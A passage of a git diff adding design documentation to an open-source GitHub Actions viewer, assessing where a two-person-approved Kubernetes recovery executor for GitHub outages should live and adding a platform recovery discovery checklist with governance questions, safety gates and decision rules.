deleting a running Job is a recovery risk in itself, is **not designed yet**. +- **CronJobs.** Jobs created by the CronJob controller carry the controller's identity, not a person's, so the `requested-by` rule can't attribute them **[A]**. Creating CronJobs in the execution namespace should be refused, by RBAC or admission (proposed). `kubectl create job --from=cronjob/…` creates the Job as the calling user, so the CREATE rules above apply to it. +- **Administrators.** Cluster administrators can change or remove admission policies. Audit review can at most **detect** such a bypass. Accepting detection instead of prevention is a recorded residual-risk decision by someone with that authority, not a property of the mechanism (checklist C7). + +**Negative tests the mechanism must pass** (stage RS2, §7.9). Each must be refused, or for the last two, detected: +- creating a Job without `spec.suspend: true`; +- creating one with a missing or mismatched `requested-by`; +- the requester resuming their own Job; +- a non-approver resuming a Job; +- changing the spec or `requested-by` while suspended; +- creating a CronJob in the namespace; +- recreating a Job after deletion without a new approval; +- an approval through impersonation by the requester; +- an administrator bypass, if detection is the chosen control. + +### 7.6 Research recommendation (not approved) + +**RUNBOOK first, with a read-only drift check borrowed from PACKAGE.** + +- **Why:** + - O2 is the scenario to assess against, and in O2 neither model can reach GitHub. + - RUNBOOK's credentials are designed per operation instead of inherited. + - Its review surface is small, and its behaviour is shown by drills. + - For most real workflows, PACKAGE's honest output would be "not reproducible" for key steps (§7.3), so it adds the most complexity for the least assurance. +- **What survives from PACKAGE:** a scheduled, **read-only** check, run while GitHub is healthy. + - It compares each runbook operation's pinned references (images, release identifiers, target names) with what the corresponding workflow currently deploys. + - It reports drift and changes nothing. + - It runs on a schedule with a read-only GitHub credential, so it lives with the executor's owner, **not in this repository** (§8.4). + +**Proposed first implementation scope**, if approved later by whoever holds that authority (§6): +- **one** operation, proposed and agreed under Q-R2 (checklist §11), for example "redeploy a pinned release to one environment"; +- a dry-run mode; +- a suspended-Job template with the two-person admission policy (§7.5); +- one namespace, one ServiceAccount and one NetworkPolicy; +- a drill, on Minikube or kind first, against a disposable target. + +### 7.7 Non-goals + +- Running arbitrary or unmodified GitHub Actions workflows outside GitHub. +- An "execute", "request" or "approve" control in the read-only UI, or any change to the UI's chart, image or token handling. +- Emulating `GITHUB_TOKEN`, GitHub OIDC, environments or `concurrency`. +- Storing secret values in packages, bundles, images, Git or the UI. +- Automatic triggering on outage detection. Every execution needs a person to request it and a different person to approve it. +- Multi-step orchestration or a workflow engine. + +### 7.8 Open questions and decision criteria + +**Open questions:** +- **Q-R1:** where would recovery execution live: this repository, a sibling repository, or a platform team's tooling? The README and ARCHITECTURE scope this project to viewing and investigating runs, read-only (§7.1). Assessed in §8; still open. +- **Q-R2:** which operations, services, environments and clouds actually need recovery, and who owns them? A proposed split of responsibilities is in `docs/PLATFORM_RECOVERY_DISCOVERY.md` §11: proposing, confirming need, target and credential ownership, authorization, risk acceptance. It is not approved. +- **Q-R3:** where do source mirrors, bundles and images live outside GitHub? Which signing keys or KMS hold the signatures? +- **Q-R4:** who are the approvers, how are they grouped in the identity provider, and what is the escalation path when only one person is available? +- **Q-R5:** what drill frequency and expiry window apply, and what recovery-time target will drills be measured against? +- **Q-R6:** is a package registry outage (npm, PyPI, container registries) in scope? + +**Decision criteria for K-6 and K-7:** +- works in the outage scenarios agreed for each operation, assessed against O2; +- least privilege per operation; +- the two-person rule is enforced by the system, shown by the negative tests in §7.5, not only by procedure; +- a re-run is safe; +- a passing drill (checklist DR1) in a relevant non-production environment on each cloud the operation targets; +- an owner for every operation; +- maintenance effort the owning team accepts. + +### 7.9 Staged roadmap (proposed; each stage needs approval) + +These stages would be carried out wherever recovery execution lives (Q-R1), not necessarily in this repository. + +| Stage | Scope | Test gate | Security gate | +|---|---|---|---| +| **RS0. Decide** | Answer Q-R1–Q-R6, and choose K-6 and K-7. No code | Q-R1 recorded where checklist DA4 says; K-6 and K-7 recorded by the owner of the chosen location | Threat model for the execution namespace reviewed | +| **RS1. One operation, dry run** | The bundle format and one operation in dry-run mode, on kind or Minikube | The dry run prints the exact intended change; re-running it gives the same output | Nothing executes; the image is non-root and read-only; there are no secrets | +| **RS2. Approval gate** | Suspended-Job template and the admission policy | Every negative test in §7.5 is refused, or detected where detection is the chosen control | Audit events show requester and approver; no namespace gets broader RBAC | +| **RS3. Real execution, local target** | The operation runs against a disposable target on kind or Minikube | Running it twice converges; the paired rollback restores the previous state; a forced partial failure is reported | Only declared egress; any test credentials are short-lived | +| **RS4. One cloud, non-production** | Workload identity on the chosen provider [Src6]–[Src8], with secrets from the provider's store | A drill in a relevant non-production environment, with the restore time measured | Cloud role limited to the operation; Secret encryption at rest or an external store [Src9] | +| **RS5. Drift check** | The read-only comparison from §7.6 | It reports synthetic drift and stays quiet when nothing has drifted | Read-only GitHub access; no write tokens | +| **RS6. O2 drill** | A non-production drill with github.com unreachable from the execution namespace | The operation completes without contacting GitHub | Bundle signature and digests verified before the run | + +### 7.10 Sources (read 2026-10-29) + +- [Src1] GitHub Status, components list — https://www.githubstatus.com/ +- [Src2] GitHub Docs, Self-hosted runners reference: runners "connect to GitHub to receive job assignments"; the required endpoints include `github.com`, `api.github.com` and `*.actions.githubusercontent.com` — https://docs.github.com/en/actions/reference/runners/self-hosted-runners +- [Src3] GitHub Docs, OpenID Connect: tokens issued by `https://token.actions.githubusercontent.com` — https://docs.github.com/en/actions/concepts/security/openid-connect +- [Src4] act, features not supported — https://nektosact.com/not_supported.html +- [Src5] Sigstore, signing blobs (key pairs and KMS keys) — https://docs.sigstore.dev/cosign/signing/signing_with_blobs/ +- [Src6] Microsoft Learn, Microsoft Entra Workload ID on AKS — https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview +- [Src7] AWS, EKS Pod Identity (not available for pods on AWS Fargate) — https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html +- [Src8] Google Cloud, Workload Identity Federation for GKE (short-lived tokens, by default 1 hour) — https://docs.cloud.google.com/kubernetes-engine/docs/concepts/workload-identity +- [Src9] Kubernetes, Secrets: stored unencrypted in etcd by default, and the recommended mitigations — https://kubernetes.io/docs/concepts/configuration/secret/ +- [Src10] Kubernetes, Jobs: a program "may sometimes be started twice"; `suspend`, `backoffLimit`, `activeDeadlineSeconds`, `ttlSecondsAfterFinished` — https://kubernetes.io/docs/concepts/workloads/controllers/job/ +- [Src11] Kubernetes, ValidatingAdmissionPolicy: stable since v1.30; the CEL variables `object`, `oldObject`, `request` — https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/ +- [Src12] Kubernetes, Auditing — https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/ +- [Src13] Kubernetes, Ingress: "The Kubernetes project recommends using Gateway instead of Ingress. The Ingress API has been frozen." — https://kubernetes.io/docs/concepts/services-networking/ingress/ +- [Src14] Kubernetes, Service types: ClusterIP "makes the Service only reachable from within the cluster", and can be exposed with an Ingress or a Gateway — https://kubernetes.io/docs/concepts/services-networking/service/ +- [Src15] Kubernetes, User impersonation: "Request user info is replaced with impersonation values" and authorization acts on them — https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + +--- + +## 8. Optional organization context — Q-R1 assessment: where recovery execution lives (2026-10-29) + +**Scope:** like §7, this applies only to organizations that want to run recovery operations themselves. It does not apply to OI-1 or OI-2, which are read-only and belong to the UI (§4). + +**Status:** assessment only. **Q-R1 is not decided**, and K-6, K-7 and every other decision in this document remain unapproved. Recovery execution itself is not approved (§4.6, §7). This section assesses only *where* it would live if it were approved. + +### 8.1 Evidence + +All evidence comes from tracked, published files in this repository **[O]**. + +| # | Evidence | Where | +|---|---|---| +| EV1 | The project's published purpose: "an open-source viewer and dashboard for GitHub Actions workflow runs, pipelines and logs", which "never changes anything" | `README.md`, introduction | +| EV2 | Public promises: "no server, database or telemetry", and "no code to re-run, cancel or approve anything". The README's badges say "read-only" and "backend: none" | `README.md`, introduction and "Security and privacy" | +| EV3 | Read-only (D4) and no backend (D3) are architecture constraints. Every request goes through one GET/HEAD transport; lint rules restrict `fetch` and token access | ARCHITECTURE §2, §7.1; `src/github/transport.ts`; `eslint.config.js` | +| EV4 | The repository is public, under the Apache-2.0 licence (visibility checked 2026-10-29) | `LICENSE`; ROADMAP, Status | +| EV5 | The hosted UI pod has no ServiceAccount token and no RBAC, and the chart's schema refuses weaker settings. It needs no outbound network, but no NetworkPolicy restricts it (§1) | ARCHITECTURE §7.4; `charts/gha-ui/values.schema.json` | +| EV6 | Precedent for read-only integration: the app reads an optional, repository-owned convention file (`.github/actions-ui-phases.yml`) through the same read-only API path | `README.md`, "Optional: name your phases" | +| EV7 | §7 separates three things: the investigation UI, a read-only drift check, and privileged execution. Execution needs an approval gate, cloud identity, owned operations and drills | §7.4–§7.6 | + +**Needs organizational input (not answerable here):** whether any platform-team recovery tooling exists, what it can do, who owns the deployment targets and their credentials, who is on call, and who has authority over recovery decisions. This document names no such tooling and assumes none exists. + +### 8.2 Comparison + +| Question | IN-REPO | SIBLING (a separate recovery repository) | PLATFORM (existing platform-team tooling) | +|---|---|---|---| +| Fits the published purpose | **No.** It contradicts EV1 and EV2, and would revise D3 and D4 (EV3) | Yes. This repository keeps its purpose | Yes. This repository keeps its purpose | +| New security responsibilities | Privileged credentials, an approval gate, an execution namespace, cloud identity, signing keys and secret delivery, all in a codebase that today holds none (EV5). That widens the trust placed in every contributor and dependency of the UI | The same responsibilities, held by a repository and team that exist for them | Already held by the platform, **if** confirmed | +| New deployment components | Jobs, admission policy, RBAC, identity bindings and bundles, added to a chart whose schema exists to forbid privilege (EV5) | Its own chart or manifests, kept apart from `charts/gha-ui` | None new, if the tooling already covers them | +| Maintenance | Drills, operation ownership and expiry become obligations of a UI project | Owned by the recovery repository's owners | Owned by the platform team | +| Can read-only investigation stay isolated? | Only by internal discipline (lint rules, separate packages). A shared repository, CI and release train put privileged code one review away from the token page | Yes, structurally: separate code, CI, images, credentials and release cycles | Yes, structurally | +| Public-repository fit (EV4) | Poor. Organization-specific targets and operations don't belong in a public tool | Can be private while the UI is public | Stays wherever the platform keeps it | +| Main new risks | Scope creep, and loss of the read-only guarantee | Two release trains and a manifest contract to keep in sync. Its own supply chain, signing keys and an off-GitHub mirror (O2, §7.2). If its CI runs on GitHub Actions, outage drills must run elsewhere (RS6) | Unknown capabilities and availability. Possible coupling to other projects; any such integration needs its own architecture decision | + +### 8.3 Recommended boundary (not approved) + +1. **Recovery execution should not live in this repository.** IN-REPO is not recommended. The tracked evidence is consistent: the published purpose (EV1), public promises (EV2), architecture constraints (EV3), the public repository (EV4) and a deliberately unprivileged deployment (EV5). Choosing IN-REPO would first require the project maintainer to change the project's purpose and public promises (§8.6). That is a product change, not a placement choice. +2. **Assess PLATFORM first.** Reusing tooling the platform team already runs and owns avoids creating a new privileged codebase. Whether it is viable can't be determined from this repository (§8.5). The outcome then depends on the agreed operations (Q-R2): + - **SIBLING** is justified only for an agreed operation with a demonstrated gap in the existing tooling that its owner can't close, and only when no suitable alternative exists. Alternatives include another existing tool, a manual procedure, or narrowing the operation. Its owner should be whoever owns the recovery targets. + - **No executor at all** is the outcome if no operation justifies its cost and risk. + + The research recommendation of §7 (RUNBOOK, a two-person gate, drills) applies to any location. +3. **This repository keeps only read-only concerns.** Any future integration follows the EV6 pattern: a published, read-only artifact, read with the user's own token. There's no backend, no new credential, no CSP change, and nothing the UI can request, approve, start or execute. + +### 8.4 Division of responsibilities (proposed) + +| Concern | Investigation UI (this repository) | Read-only drift check | Recovery executor (SIBLING or PLATFORM) | +|---|---|---|---| +| Purpose | Understand runs, failures, deployments and releases | Report when a recovery operation's pinned references no longer match what workflows deploy | Run approved recovery operations during an outage | +| Writes | None (D4) | None | Yes: deployment targets only, per operation | +| Credentials | The user's PAT, in tab memory only (ARCHITECTURE §7.1) | A read-only GitHub credential, scheduled. **Not in this repository**, because the UI has no scheduler or server and holds no credential of its own (EV3, EV5) | Per-operation cloud identity and a secret store (§7.5) | +| Where it lives | Here | With the executor's owner | SIBLING or PLATFORM | +| Possible UI link (each needs its own decision) | It could *display* drift results or readiness, if they are published as a read-only file in a repository the user can read (the EV6 pattern) | It publishes results in that read-only form | No link. The UI never requests, approves, starts or executes an operation | +| Tests | Existing unit, browser and chart tests | Synthetic drift reported, and no false drift (RS5) | The RS1–RS6 gates (§7.9) | + +**Coordination if SIBLING is chosen** (proposed): +- **Contract:** a versioned operation manifest (operation ID, owner, image digest, target, release identifier source, drill status and expiry), with its schema owned by the recovery repository. +- **Dependencies:** this repository takes no build or runtime dependency on it. +- **Drift check:** lives beside the manifests, where the pinned references are. +- **Testing:** contract tests run in the recovery repository. If the UI ever reads the manifest, it validates it as untrusted input, as it does the phase file. +- **Supply chain:** separate signing keys, a mirror outside GitHub, and image digests. A UI release never gates a recovery release, and the reverse. + +### 8.5 Unknowns the platform team must answer + +`docs/PLATFORM_RECOVERY_DISCOVERY.md` turns these into a discovery checklist. It includes: +- the evidence that would answer each question; +- the proposed safety gates and the evidence they require (including C7 and DR1); +- a proposed ownership model; +- a Q-R1 decision record template. + +The unknowns: +- Does recovery or break-glass tooling already exist? For which targets and clouds? +- Can it run when github.com is unavailable (O2, §7.2)? Where do its source, images and credentials live? +- Does it enforce two-person approval and audit in the system, not only by procedure? +- Who owns each deployment target and its credentials? Who is on call, and who approves? +- Is it drilled, and what restore times have been measured? +- Can it publish a read-only status file for operations (the EV6 pattern), and is that wanted? +- Would using it create a dependency on another project? If so, that integration needs its own architecture decision. +- Who has authority over Q-R1, K-6, K-7 and residual-risk acceptance? + +### 8.6 What would change the recommendation + +These criteria are applied **per agreed operation**, using the question classes and decision rules in `docs/PLATFORM_RECOVERY_DISCOVERY.md` §8–§10. +- **Toward PLATFORM:** the existing tooling covers the agreed operations (Q-R2), and none of the questions that apply to them is answered "no". In particular, it works in the outage scenarios each operation must survive, and it can meet the safety gates (two-person approval enforced in the system, named owners, relevant drills). **Choosing PLATFORM authorizes nothing.** Operations whose evidence is still missing stay blocked until it is confirmed. +- **Toward SIBLING:** for at least one agreed operation, no suitable tooling exists, or the tooling has a confirmed gap that its owner can't close and for which no suitable alternative exists. An owner for the recovery targets must also agree to own the new repository. +- **Toward IN-REPO, only after a deliberate product change:** the project maintainer would first have to change the project's published purpose and promises (README; ARCHITECTURE D3 and D4). That change is a **prerequisite**, not one option among several. Even then, the concerns in §8.2 remain: privileged code beside the token page, and organization-specific operations in a public repository. +- **No executor at all:** if Q-R2 finds no operation worth maintaining, only the read-only drift check (or nothing) is needed. It stays outside this repository unless the UI-display decision below is taken. + +### 8.7 Next decisions after Q-R1 + +1. **Q-R1 itself:** PLATFORM, SIBLING, no executor, or deferred, after the §8.5 answers. IN-REPO only after the product change in §8.6. +2. **Q-R2:** the operations, services, environments and owners in scope. +3. **K-6 and K-7:** the recovery model and the execution controls, owned by the chosen location. +4. **Q-R3 and Q-R4:** off-GitHub mirrors and signing keys; the approvers and the escalation path. +5. **A new, separate decision** for the project maintainer: whether the UI should display published drift or readiness data, and in what read-only form. Until it is decided, the UI does nothing with recovery. diff --git a/docs/PLATFORM_RECOVERY_DISCOVERY.md b/docs/PLATFORM_RECOVERY_DISCOVERY.md new file mode 100644 index 0000000..4a62c7a --- /dev/null +++ b/docs/PLATFORM_RECOVERY_DISCOVERY.md @@ -0,0 +1,291 @@ +# Platform recovery discovery checklist (Q-R1) — optional organization context + +**Scope:** this checklist is for an **optional context**: an organization that wants to *run* recovery operations on its own infrastructure. It is not the product's default audience, and nobody needs it to use the UI. +- The product's primary users are maintainers of public and open-source repositories. For them, the recovery direction is a read-only **outage impact and catch-up view** (`docs/KUBERNETES_ACCESS.md` §4). +- The next step for that direction is `docs/RECOVERY_VALIDATION_STUDY.md`. +- Use this checklist only if such an organization asks for it. + +**Status:** checklist prepared 2026-10-29. **No answers are recorded yet.** +- **No decision has been made.** Q-R1, Q-R2, K-6 and K-7 remain open (`docs/KUBERNETES_ACCESS.md` §6–§8). +- **Nothing here describes existing platform tooling.** Every question is open until the platform team answers it with evidence. + +**Purpose:** find out whether existing platform-team recovery tooling (option PLATFORM in KUBERNETES_ACCESS §8) is sufficient, before anyone proposes a new recovery repository (option SIBLING) or implementation. +- The Q-R1 assessment *recommends* against placing recovery execution in this repository (option IN-REPO, KUBERNETES_ACCESS §8.3). That is a recommendation, not a decision. +- The investigation UI has no part in requesting, approving or running recovery operations under any option. + +**Question IDs:** +- T: tooling; +- G: GitHub outage; +- W: ownership; +- C: controls; +- DR: drills; +- P: optional status file; +- DA: decision authority. + +These IDs are local to this checklist. In particular, DA and DR are not ARCHITECTURE's A-numbers or the project brief's D-numbers. + +## How to use it + +- **Answers:** each question is answered with a **status** and an **evidence reference**. + - Status is one of: `confirmed`, `partial`, `no`, `unknown`. + - "Confirmed" requires evidence. A verbal "yes" is recorded as `unknown` until it is shown. +- **Acceptable evidence:** an existing runbook, an architecture diagram, a drill or incident report, a configuration excerpt reviewed in the platform's own system, or a live demonstration in a non-production environment. +- **Handling rule:** record **where** the evidence is (title, owning team, system it lives in) and **who** showed it. Do not copy its contents. This repository is public, so never add any of the following to it: + - credentials, tokens, secret values or keys; + - internal hostnames or account identifiers; + - incident details or personal data. +- **Scope:** not every question applies to every operation. §8 classifies the questions, and §9 records which ones apply to each proposed operation and why. Where answers differ by target, record one row per target. + +--- + +## 1. Existing tooling and supported operations + +| ID | Question | Evidence that answers it | Status | Reference | +|---|---|---|---|---| +| T1 | Does recovery or break-glass tooling exist today? What is it, and who owns it? | Tool documentation or a service catalogue entry naming the owner | | | +| T2 | Which recovery operations does it support (for example redeploy a pinned release, roll back, scale, fail over)? | Its list of operations, or runbooks per operation | | | +| T3 | Which targets, environments and clouds does it cover? Which are excluded? | Coverage list or architecture diagram | | | +| T4 | Does it depend on GitHub Actions or self-hosted runners to execute? (Runners need GitHub to receive jobs; KUBERNETES_ACCESS §7.2) | Architecture diagram showing the execution path | | | +| T5 | Are operations versioned and immutable (pinned image digests, signed bundles), or edited in place? | Release or versioning procedure; a sample manifest viewed in place | | | + +## 2. Recovery during a complete GitHub outage + +The worst case is O2 in KUBERNETES_ACCESS §7.2, where github.com, its API, `ghcr.io` and GitHub's OIDC issuer are all unavailable. + +| ID | Question | Evidence that answers it | Status | Reference | +|---|---|---|---|---| +| G1 | Where do the operation definitions and runbooks live? Are they readable without GitHub? | Location of the mirror or store, shown being read with GitHub unreachable | | | +| G2 | Where do the images it runs live? Are they pulled by digest from a registry that doesn't depend on GitHub? | Registry location and a digest-pinned reference | | | +| G3 | Are the packages and dependencies it needs at run time vendored or mirrored? | Build or packaging procedure; a mirror configuration reviewed in place | | | +| G4 | How do operations get credentials without GitHub OIDC? Are they short-lived (for example cloud workload identity)? | Identity configuration reviewed in the platform's system; no credential values | | | +| G5 | Which external services must be reachable (identity provider, secret store, registry, cloud APIs)? What happens if one is down? | Dependency list or diagram | | | +| G6 | Is the tooling's own source, CI and release process able to ship a fix during a GitHub outage? | Description of its build path; a past example | | | +| G7 | Has recovery been exercised with GitHub deliberately unreachable? | Drill report or demonstration | | | + +## 3. Targets, ownership and on-call + +| ID | Question | Evidence that answers it | Status | Reference | +|---|---|---|---|---| +| W1 | For each target in scope, which team owns it? | Service catalogue or ownership record | | | +| W2 | Who owns the credentials or roles each operation uses? Who can rotate or revoke them? | Access-management record naming the owning team | | | +| W3 | Who is on call to request a recovery, and who to approve one? | On-call schedule or escalation policy, by role | | | +| W4 | Who owns the recovery tooling itself, including its maintenance and failures? | Ownership record | | | +| W5 | Is there an escalation path when only one approver is reachable? | Documented escalation procedure | | | + +## 4. Approval, audit, least privilege and rollback + +| ID | Question | Evidence that answers it | Status | Reference | +|---|---|---|---|---| +| C1 | Is two-person approval enforced **by the system**, not only by procedure? Specifically: requesters can create an execution only in a non-running (for example suspended) state, a *different* authorized person must approve it, and it runs only after that approval. (Group membership alone does not meet this; KUBERNETES_ACCESS §4.6) | Demonstration of the negative tests in KUBERNETES_ACCESS §7.5 that apply: self-approval, creation in a running state, and approval by a non-approver are each refused | | | +| C2 | What audit evidence is recorded (requester, approver, operation version, target, start, end, result)? Where, for how long, and can operators alter it? | A sample audit record viewed in place | | | +| C3 | Does each operation have its own identity, with only the permissions it needs? | Role or RBAC definitions reviewed in place | | | +| C4 | Is execution isolated from other workloads (namespace, network policy, no shared secrets)? | Configuration reviewed in place | | | +| C5 | Does each operation have a tested rollback or a defined failure state? | Runbook section and a drill showing it | | | +| C6 | Is running an operation twice safe, and are concurrent runs on one target prevented? (A Kubernetes Job can start a program twice; KUBERNETES_ACCESS §7.5) | Design notes or a drill that re-runs an operation | | | +| C7 | Can anyone bypass the approval gate: cluster administrators, users who can impersonate a requester or approver, or anyone who can change the enforcing policy? Is unauthorized bypass **prevented**, or only **detected**? If only detected, has the residual risk been accepted by someone with the authority to do so? (§8, gate evidence) | Prevention: a demonstration that bypass is refused. Detection: the alerting or audit-review procedure, a test showing a bypass is detected, and a residual-risk record (§8) | | | + +## 5. Drills, recovery times and gaps + +| ID | Question | Evidence that answers it | Status | Reference | +|---|---|---|---|---| +| DR1 | Has each operation passed a drill in a non-production environment relevant to the target type and outage scenario it is being authorized for? When? | A drill record with the contents listed in §8 (gate evidence) | | | +| DR2 | What recovery times were **measured** in those drills? Is there an agreed target, and who set it? | Drill reports; a documented objective with its owner | | | +| DR3 | Which drills failed or found gaps, and are those gaps still open? | Drill follow-up items and their status | | | +| DR4 | Do operations expire or get disabled when drills lapse? | Documented policy | | | + +## 6. Optional read-only status artifact for the UI + +This section applies only if displaying recovery readiness in the UI is wanted. That is a separate decision for the project maintainer (KUBERNETES_ACCESS §8.7, item 5). The UI would only read the artifact, with the user's own token, as it reads `.github/actions-ui-phases.yml` today: no backend, no new credential and no CSP change. + +| ID | Question | Evidence that answers it | Status | Reference | +|---|---|---|---|---| +| P1 | Is a read-only status file wanted at all? By whom? | Stated need from the requesting team | | | +| P2 | Could it be published in a repository readable through the GitHub API (for example a small YAML or JSON file per operation)? | Agreement from its owner on location and format | | | +| P3 | What would it contain (operation, owner, pinned release, last drill, expiry), and is any of it sensitive? | Draft field list reviewed by the owner | | | +| P4 | Who updates it, and how is staleness shown? | Owner and update mechanism | | | +| P5 | Is it acceptable that it is unavailable during a GitHub outage, since the UI itself needs GitHub? | Owner's confirmation | | | + +## 7. Decision authority + +The project maintainer decides what this repository does (KUBERNETES_ACCESS §6). Authority over recovery operations, targets and risk belongs to the platform organization, and is what these questions establish. + +| ID | Question | Evidence that answers it | Status | Reference | +|---|---|---|---|---| +| DA1 | Who has the authority to decide Q-R1 (where recovery execution lives), alongside the project maintainer's say over this repository? | Named role in a governance or ownership record | | | +| DA2 | Who approves K-6 (the recovery model) and K-7 (execution controls)? Are they the same people? | Named roles | | | +| DA3 | Does choosing PLATFORM create a dependency on another project that needs its own architecture decision? | Project boundaries confirmed with the project maintainer and the tooling's owner | | | +| DA4 | Where are Q-R1, K-6 and K-7 recorded, and who keeps them current? | Agreed location: ARCHITECTURE for anything that changes this repository, the owning location's records otherwise | | | +| DA5 | Who may **propose** a recovery operation? | Named role in an ownership or governance record | | | +| DA6 | Who **confirms** an operation's business or operational need and its scope, making it "agreed" under Q-R2? | Named role | | | +| DA7 | Who **approves the safety case** and **authorizes** execution of an operation against real targets? | Named role, and the record of where that authority comes from | | | +| DA8 | Who may **accept residual risk** (for example under C7), and within what limits? | Named role and the scope of its authority, from a governance record | | | + +--- + +## 8. Question classes + +The questions answer two different decisions, which must not be merged: +- **Q-R1:** where recovery execution lives. +- **Authorization:** whether a given operation may run against real targets. This belongs to K-7 and to the authority identified in DA7. + +| Class | IDs | Applies to | Used for | +|---|---|---|---| +| **Safety gates** (mandatory) | T5, C1, C2, C3, C4, C5, C6, C7, W1, W2, W3, DR1 | **Every** operation, before it runs against a real target. The gates are proposals from KUBERNETES_ACCESS §7.5 and §7.9, not approved controls | Authorization of that operation. Also Q-R1, where a gate the tooling cannot meet for an agreed operation is a gap | +| **Operation-dependent** | T3, T4, G1–G7, W5, DR2, DR3, DR4 | Only where the operation's targets, outage scenarios or agreed objectives make them relevant (the table below) | Authorization of that operation, and Q-R1 gaps | +| **Operation ownership** | DA5, DA6, DA7, DA8 (with W1 and W2 for target and credential ownership) | Every proposed operation (§11) | DA5 and DA6 decide whether an operation is *agreed*, which Q-R1 rule 1 depends on. DA7 and, where a residual risk is accepted, DA8 are needed for authorization | +| **Repository-boundary evidence** | T1, T2, W4, DA1, DA2, DA3, DA4 | The Q-R1 decision as a whole | Q-R1 only | +| **Outside Q-R1** | P1–P5 | Only if the separate UI-display decision (KUBERNETES_ACCESS §8.7, item 5) is taken up | That decision only. Not needed for Q-R1 or authorization | + +**Gate evidence** (proposed; **not approved**, pending review by the authority identified in DA2): + +- **C7, bypass of the approval gate** (by administrators, by impersonation, or by changing the enforcing policy). Record exactly one of these states: + - **Prevented:** unauthorized bypass is technically refused, and a demonstration shows the refusal. Record as `confirmed`. + - **Detected, with recorded risk acceptance:** bypass is possible but is detected and audited. Record as `confirmed` **only** if a residual-risk record exists naming all of the following: + - the risk (who can bypass, and how); + - the detection and compensating controls, with evidence that detection works; + - the role that accepted the risk, which must hold that authority under DA8; + - evidence of that acceptance (the approval record, by reference). + + Documenting detection alone does **not** satisfy the gate. Without the acceptance record, the state is `partial`. + - **Unknown or insufficient:** no evidence, or evidence that shows neither state. Record as `unknown` (or `partial`). This blocks authorization. +- **DR1, passing drill.** A drill counts for an operation only if its record shows all of the following: + - **What was exercised:** the specific operation, at the version to be authorized (T5), and the **target type**. + - **Scenario:** the outage scenario (O1, O2 or O3) it is being authorized to survive, or a stated reason why the drill is representative of it. + - **Results:** the expected result, the observed result, and whether they matched. + - **Gate checks:** the checks for the gates that apply to the operation, exercised in the drill: + - approval separation (C1); + - the audit record produced (C2); + - rollback or the defined failure state (C5); + - a safe re-run (C6). + + A gate the drill didn't exercise is listed, not assumed. + - **Failures and limits:** any failures, limitations and unresolved risks. + + A drill of another operation, target type or scenario does not count. DR1 requires a **relevant non-production** environment, not a production drill. It sets **no** recovery-time target: measured times and any agreed objective belong to DR2. A passing drill shows the operation worked once under drill conditions. It does not make an untested gate enforceable. + +**When operation-dependent questions apply:** + +| ID | Applies when the operation… | +|---|---| +| T3 | …targets a system or environment whose coverage by the tooling isn't yet shown | +| T4 | …must run while GitHub Actions is unavailable (O1 or O2, KUBERNETES_ACCESS §7.2). That is the purpose of this work, so it is expected to apply almost always; any exclusion must be justified | +| G1, G2, G3 | …must run in O2 (definitions, images or dependencies would otherwise come from GitHub). G2 and G3 also apply in O3 if it pulls from GitHub-hosted registries | +| G4 | …needs credentials, and must run in O1 or O2, since GitHub issues its OIDC tokens to Actions jobs | +| G5 | …depends on any external service. Applies in every scenario | +| G6 | …may need a fix to the tooling itself during an outage (O1 or O2) | +| G7 | …must survive a scenario that has not yet been exercised. The drill must match that scenario | +| W5 | …may need approval outside working hours or with few approvers. The escalation path must still satisfy C1 | +| DR2 | …has an agreed restore objective. Without one, DR2 records measured times only | +| DR3 | …has had drills with recorded findings | +| DR4 | …has an agreed drill frequency and expiry window (KUBERNETES_ACCESS Q-R5) | + +## 9. Per-operation record + +Fill in one record per operation **proposed** under Q-R2 (by the role in DA5). This document names no operations. Placeholders such as `OP-1` are replaced by the proposer's own name for the operation. + +``` +Operation: OP-1 (name given by its proposer) +Ownership (§11, roles only): + Proposed by: (DA5) + Need and scope confirmed by: (DA6), date — the operation counts as "agreed" only after this + Target owner: (W1) Credential owner: (W2) + Safety case approved / execution authorized by: (DA7) + Residual risk accepted by: (DA8), if any — with the risk record reference +Justification: why this recovery need is worth its cost and risk (Q-R2) +Targets: (systems and target types, by reference) +Scenarios: O1 | O2 | O3 (which outages it must survive) +Drill evidence (DR1): drill record reference(s), matching this operation, target type and scenario + +Applicable IDs: + Safety gates: T5 C1 C2 C3 C4 C5 C6 C7 W1 W2 W3 DR1 (always) + Operation-dependent: (IDs from §8, each with the reason it applies) + Excluded: (operation-dependent IDs not applicable, each with the reason) + +Evidence status: ID: confirmed | partial | no | unknown — reference +Authorization blockers: safety-gate or applicable IDs not yet confirmed +Boundary gaps: applicable IDs answered "no" for the existing tooling, each with + (a) whether the tooling's owner (W4) can close the gap, and + (b) the alternatives considered and why they are unsuitable +``` + +## 10. Decision rules + +These are proposals, not approved policy. They apply the criteria of KUBERNETES_ACCESS §8.6 per operation. + +**Evidence states:** +- `unknown` means evidence is missing, **not** that a capability failed. It can't justify rejecting the existing tooling or creating a repository. Either gather the evidence, or record the decision as deferred. +- `partial` is treated like `unknown` until its gap is described. Then it is recorded as `confirmed` for what was shown and `no` for the rest. C7 and DR1 have their own rules for when they count as `confirmed` (§8, gate evidence). + +**Authorization** (per operation; the input to K-7, not part of Q-R1): +- An operation may be authorized against real targets only when all of these hold: + - **every safety gate** and **every applicable operation-dependent question** is `confirmed` for the tooling that would run it; + - the authorization is given by the role identified in DA7. + + Missing evidence blocks authorization; it is never treated as a pass. +- Any other state blocks authorization of **that operation only**. Other operations are unaffected. +- A residual risk counts as accepted only when the role identified in DA8 accepts it, within its authority, and the acceptance is recorded. + +**Q-R1** (the repository boundary): +1. **Agreed needs first.** Only operations whose need and scope are confirmed by the DA6 role ("agreed" under Q-R2) count. If none justifies its cost and risk, the outcome is **no executor**, and a drift check is needed only if it is separately wanted. +2. **The existing tooling (PLATFORM) is sufficient for an operation** when T1 and T2 show that it covers the operation, and no applicable ID is `no`. + - Unresolved `unknown`s don't count against PLATFORM, but they leave that operation's authorization blocked. + - **Choosing PLATFORM on this basis authorizes no operation.** The decision record lists every operation still blocked, and why. +3. **A gap justifies a separate repository (SIBLING)** only if all of the following hold: + - it is an applicable ID answered `no`; + - for an agreed operation; + - the owner of the existing tooling (W4) cannot or will not close it; + - no suitable alternative exists, such as another existing tool, a manual procedure, or dropping or narrowing the operation. + + Gaps on non-applicable IDs, or on operations that aren't agreed, never count. +4. 